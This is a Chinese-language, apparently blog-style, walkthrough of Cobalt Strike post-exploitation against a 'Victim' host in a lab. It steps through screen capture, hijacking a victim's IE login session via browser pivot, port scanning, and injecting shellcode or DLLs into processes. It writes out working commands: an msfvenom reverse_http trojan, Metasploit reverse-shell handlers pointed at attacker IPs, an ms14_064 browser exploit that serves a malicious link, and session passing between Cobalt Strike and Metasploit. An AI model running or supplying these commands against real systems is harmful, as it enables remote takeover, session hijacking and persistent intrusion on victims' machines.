当我们拿到Victim的Beacon之后就要进行攻击,CS中提供了很多攻击模块,接下来介绍常见使用方法
在目标中选择屏幕截图即可获取截图,截图会在视图->屏幕截图中显示
因为默认会话60秒返回一次,所以再执行操作60秒之后会得到截图,也可以右击会话->选择sleep设置会话时间间隔
右击选择进入Beacon,会出现一个beacon视图,视图中可以看到刚才执行的命令
也可以在进程列表中选择进程截图(汉化版有问题)
可以选择进程后对其进行下面工具栏中的操作
任务处理
jobs ## 查看任务列表
jobkill <jid> ## 终止一个任务
进行的任务可以在beacon中使用jobs命令查看
使用jobkill 1将其kill
没什么好说的
之后操作后可以在beacon看到执行状态(权限不够的话无法上传)
输入pwd命令可以查看当前目录
VNC,为一种使用RFB协议的屏幕画面分享及远程操作软件。此软件借由网络,可发送键盘与鼠标的动作及即时的屏幕画面。VNC与操作系统无关,因此可跨平台使用
只针对IE,其他浏览器无效
如果目标及其使用ie浏览器登录网站,启动浏览器后Hacker将可以用Victim的登录状态登录
比如Victim使用ie浏览器登录网站
http://10.242.197.249/CMS/_Common/xhcms/admin/?r=login
CS开启浏览器代理
开启状态可以在beacon中看到,框中的IP端口就是代理IP
将IP设置为Hacker主机的浏览器的代理
然后Hacker使用浏览器访问页面,成功使用Victim的登录状态登录
使用命令browserpivot stop停止浏览器代理
browserpivot stop
用户发现
net view
端口扫描
help portscan
Use: portscan [targets] [ports] [arp|icmp|none] [max connections]
也可以直接右击->选择端口扫描
在视图->目标中可以看到扫描结果
会话派生(传递)使用场景
将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。
将当前会话传递至MSF中联动。
Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。
spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序
spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为
inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中
spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。
dllinject:dllinject + [pid]来将一个反射性 DLL 注入到一个进程中
shinject:使用shinject [pid] [架构] [/路径/.../file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。
shspawn:使用shspawn [架构] [/路径/.../file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中
dllload:使用dllload [pid] [c:\路径\...\file.dll]来在另一个进程中加载磁盘上的 DLL文件
环境:
CS新建连接
自身增加会话或者在其他的 teamserver 做备份会话
自身增加会话
选择choose,稍等很快就添加了一个会话
注意:派生出来的会话,进程为rundll32.exe,原来的是powershell
派生到其他的 teamserver 做备份会话
从192.168.179.128这个备份到192.168.179.138这个TeamServer
首先需要在被派生Client中新建一个Listener
在原Client中选择需要派生的会话,右击选择派生
选择刚才创建的Listener
稍等片刻
这两个派生出来的会话,进程都为rundll32.exe
首先在MSF(IP:192.168.179.138)中创建监听端口
use exploit/multi/handler
set payload windows/meterpreter/reverse_http #cs4.0后使用Http
set lhost 192.168.179.128
set lport 23333
exploit -j
# -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
其他命令
jobs 查看后台攻击任务
kill <id> 停止某后台攻击任务
sessions -l (查看会话)
sessions -i 2 选择会话
sessions -k 2 结束会话
在CS中新建一个Foreign Listener
CS中选择会话->派生选择对应Listener,选择后MSF就可以收到Session
问题解决
因为我使用的CS版本为4.1,Foreign只剩下Http和Https,MSF pyload为windows/foreign/reverse_tcp时会出现以下错误
原因:因为cs设置的payload是windows/foreign/reverse_http,但是msf这边设置的是windows/foreign/reverse_tcp,这两个协议不相同,不可以通信,CS新版中又没有TCP,
解决:将msf设置的payload为window/foreign/reverse_http,再次从cs派生shell,可以拿到meterpreter shell,旧版CS可以使用Tcp。
1.CS创建HTTP Beacon Listener
2.在Kali中执行以下命令,MSF生成木马
sfvenom -p windows/meterpreter/reverse_http LHOST=192.168.179.128 LPORT=8808 -f exe > /tmp/shell1.exe
# 此处的host为TeamServer IP、端口为Listener设置的端口
3.生成的木马文件通过漏洞,上传到目标靶机并执行
上线CS,Process为shell1.exe
和msf木马添加至cs会话一致,只需要在msf设置payload时,将lhost和lport设置为cs http监听器即可
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.134
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.104
set lport 8888
set disablepayloadhandler True
set PrependMigrate true
set lhost 80
exploit
# 攻击之后会生成url
set disablepayloadhandler True
# 将DisablePayLoadHandler设置为true。这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
set PrependMigrate true
因为msf使用的payload是浏览器exp,当xp系统的受害人用浏览器访问http://192.168.0.134:80/1Gk97z32pr 这个带有攻击代码的链接时候,成功的话就会在cobalt strike 产生一个会话
1.首先msf中需要有session
2.cs新建Listener
3.msf 使用以下模块
msf5> use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 7
set lhost 192.168.179.128
# IP是CS TeamServer ip
set lport 8888
# port是CS Listener port
set DisablePayloadHandler true
exploit -j
同样要注意是http协议